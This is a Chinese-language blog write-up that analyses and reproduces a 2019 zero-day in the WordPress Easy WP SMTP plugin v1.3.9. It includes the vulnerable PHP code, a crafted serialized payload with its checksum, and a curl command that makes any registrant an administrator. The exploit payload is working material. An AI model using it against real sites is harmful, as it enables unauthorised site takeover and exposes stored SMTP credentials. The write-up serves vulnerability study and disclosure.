WordPress 插件Easy WP SMTP 0day漏洞复现及分析

Mr.Wu 514 0

背景

2019年3月中旬,Ninja公司的waf产品[NinjaFirewall (WP Edition)]拦截到针对easy-wp-smtp 插件v1.3.9版本的攻击。此0day漏洞可造成未授权用户修改wordpress站点设置,甚至造成恶意代码注入。Easy WP SMTP是wordpress知名插件之一,拥有300,000+活跃安装。

漏洞分析

此次漏洞出现在easy-wp-smtp/easy-wp-smtp.php文件的admin_init函数中。该函数可在用户访问admin时进行hook,主要功能是查看/删除日志,增加/删除/更新数据库配置。但此处并未对用户鉴权,未判断用户身份,导致任意用户可修改站点配置。

漏洞利用

在此我们借助Ninja给出的exp进行分析。

https://blog.nintechnet.com/critical-0day-vulnerability-fixed-in-wordpress-easy-wp-smtp-plugin/

我们将利用此漏洞修改wordpress站点设置,开启站点注册,并设置默认注册用户为administrator。

在wordpress站点配置选项中,users_can_register选项为是否启用注册选项,default_role是注册用户默认身份选项。在默认配置中,users_can_register配置为0即关闭,default_role配置为subscriber(订阅者)二者的值可在wordpress数据库wp_options表中查到。

在v1.3.9版本代码easy-wp-smtp.php文件的308行

$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );

此处的file_get_contents是用来接收传入的配置文件的,实现导入配置文件功能
309-323行

    try {
    $in = unserialize( $in_raw );
    if ( empty( $in[ 'data' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    if ( empty( $in[ 'checksum' ] ) ) {
        echo $err_msg;
        wp_die();
    }
    if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
        echo $err_msg;
        wp_die();
    }
    $data = unserialize( $in[ 'data' ] );

320行$in = unserialize( $in_raw );以及323行$data = unserialize( $in[ 'data' ] );对导入的配置文件进行了两次反序列化。

之后的foreach中,解析$data数组并使用update_option函数更新配置。

foreach ( $data as $key => $value ) {
    update_option( $key, $value );
    }

我们由此倒推,foreach中接受的值应为

{
  ["users_can_register"]=>
  string(1) "1"
  ["default_role"]=>
  string(13) "administrator"
}

先序列化一波

"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"

我们注意到上述过程中需要checksum,需要array:

{
  ["data"]=>
  string(81) "a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}"
  ["checksum"]=>
  string(32) "3ce5fb6d7b1dbd6252f4b5b3526650c8"
}

序列化后

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

以上字符串写入/tmp/wpexp.txt中,然后执行以下命令

$ curl https://TARGET/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/wpexp.txt'

在此解释一下这条命令
/wp-admin/admin.php文件中有以下注释

Note, this does not just run on user-facing admin screens.
It runs on admin-ajax.php and admin-post.php as well.

我们在admin-ajax.php使用action=swpsmtp_clear_log触发漏洞

漏洞复现

执行exp前
我们首先搭建一个wordpress站点,安装v1.3.9版本的Easy WP SMTP,并进行相关配置。

默认无法注册

此时我们留意一下站点默认配置

默认数据库值

执行exp后
刷新站点即可看到注册

注册后即为administrator

网站配置

漏洞危害

1.因为此插件使用了不安全的unserialize()方法,所以可导致RCE

2.任意用户可查看/修改/删除日志

3.可任意查看wordpress插件配置,甚至包括SMTP的地址、用户名、密码。

根据捕获的攻击样本显示,攻击者更倾向于修改wp_user_roles的值,将所有用户的权限修改为管理员,这样订阅者依然显示为subscriber但却可以执行管理员权限。

附上PDF版本 链接: https://pan.baidu.com/s/16-iwmT5DnUt_Itiie90-yQ 提取码: ujkt

广告

打赏
发表评论 取消回复
表情 图片 链接 代码

分享
微信
微博
QQ